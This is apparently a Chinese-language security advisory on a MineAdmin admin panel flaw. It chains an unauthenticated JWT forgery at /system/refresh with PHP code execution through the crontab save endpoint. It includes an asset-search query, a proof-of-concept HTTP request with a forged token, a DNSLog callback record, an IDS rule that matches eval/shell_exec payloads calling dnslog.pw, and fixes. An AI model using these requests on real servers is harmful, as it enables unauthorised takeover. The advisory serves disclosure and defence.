

# MineAdmin企业级后台管理系统命令执行漏洞

MineAdmin官网: <https://doc.mineadmin.com/>

资产测绘语法: body="MineAdmin"

## 影响版本

MineAdmin v1.x

MineAdmin v2.x

## 漏洞描述

MineAdmin后台管理系统基于 Hyperf 框架开发。是一个后台权限管理系统，提供完善的权限体系，让开发者把注意力集中到具体业务当中，降低开发成本，提高项目效率。**此处逻辑漏洞和命令执行漏洞组合使用描述如下**：1、system/refresh处存在逻辑缺陷漏洞，“refresh”方法用于刷新 Token，攻击者可以未授权构造一个签名为超级管理员的 JWT，直接骗过系统，获取一个合法的、拥有管理员权限的新 Token。2、setting/crontab/save定时任务处存在命令执行漏洞，系统允许管理员（或通过上述逻辑缺陷漏洞获取管理员权限）创建定时任务。攻击者可以写入并执行任意 PHP 代码完全控制服务器。此系统前后端分离前端访问端口默认：8180 后端 默认API端口：9501 。该漏洞复现利用后端端口，实际环境可能会变，请自行判断。

## 漏洞复现

POC/EXP：利用system/refresh接口生成漏洞利用token

```
POST /system/refresh HTTP/1.1
Host: 127.0.0.1:9501
Accept: application/json, text/plain, */*
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZWZhdX0xZy5NWM2MTVhOGI0YzY2LjkyMzg1MzE1IiwiaWF0IjoxNzY3NjYxOTE0LjU3MDU5MSwibmJmIjoxNzY3NjYxOTE0LjU3MDU5MSwiZXhwIjoxNzY3NjYxOTE0LjU3MDU5MSwibG9ja3VwZXJBZG1pb3IiOiJlbnVsbCwiand0X3NjZW5lIjoizGVmYXVsdCJ9.I2U0h0Y91omT0Dh1K6wibnx04D2fv03Pb1Mwx9CRxdI
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh_CN
```



Request: POST /setting/crontab/save HTTP/1.1

Response: HTTP/1.1 200-OK

Access-Control-Allow-Origin: \*

Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: accept-language, authorization, lang, uid, token, Keep-Alive, User-Agent, Cache-Control, Content-Type

Server: -MineAdmin

Server: -Hyperf

Content-Type: application/json; charset=utf-8

Date: -Tue, 06-Jan-2026 07:14:43 GMT

Connection: keep-alive

Content-Length: 144

{

"requestId": "a6b1775f-66ed-428e-9916-f213281e078a",

"success": true,

"message": "请求成功",

"code": 200,

"data": {

"id": "a6b1775f-66ed-428e-9916-f213281e078a"

}

}

| DNSLog WebLog API Rebind Payloads 5yzhle6v 退出 |                         |      |                         |    |                               |    |
|-----------------------------------------------|-------------------------|------|-------------------------|----|-------------------------------|----|
| 域名                                            |                         | 搜索   | 子域名: 5yzhle6v.dnslog.pw |    | <input type="checkbox"/> 监视刷新 |    |
| ID                                            | 域名                      | Type | IP                      | 位置 | 时间                            | 操作 |
| 26463252                                      | root.5yzhle6v.dnslog.pw | A    | 47.99.235.65            |    | 2026-01-15 15:14:51           | 删除 |
| « 1 » 第1页 / 共1页, 共1条记录 删除所有记录                 |                         |      |                         |    |                               |    |

sonrt规则：

```
alert http any any -> $HOME_NET any (
  msg:"MineAdmin - Remote Command Execution via /setting/crontab/save";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/setting/crontab/save";
  http.header; content:"Authorization: Bearer";
  http.header; content:"Content-Type: application/json;charset=UTF-8";
  http.request_body; content:"\"target\": \"eval(";
  http.request_body; pcre:"/target\": \"eval\\(['^']*shell_exec\\(['^']*\\)
['']*system\\(['^']*dnslog\\.pw['']*'/i";
  metadata:
    service http,
    affected_product "MineAdmin企业级后台管理系统",
    vulnerability_type "Remote Command Execution",
    severity "critical";
  classtype:web-application-attack;
  sid:1000580;
  rev:1;
  priority:1;
)
```

# 漏洞修复

- 1.增加白名单或黑名单校验，严禁创建 type=4(Eval) 的任务，除非绝对必要且经过严格审查。
- 2.部署waf进行恶意命令拦截。
- 3./system/refresh接口进行权限校验。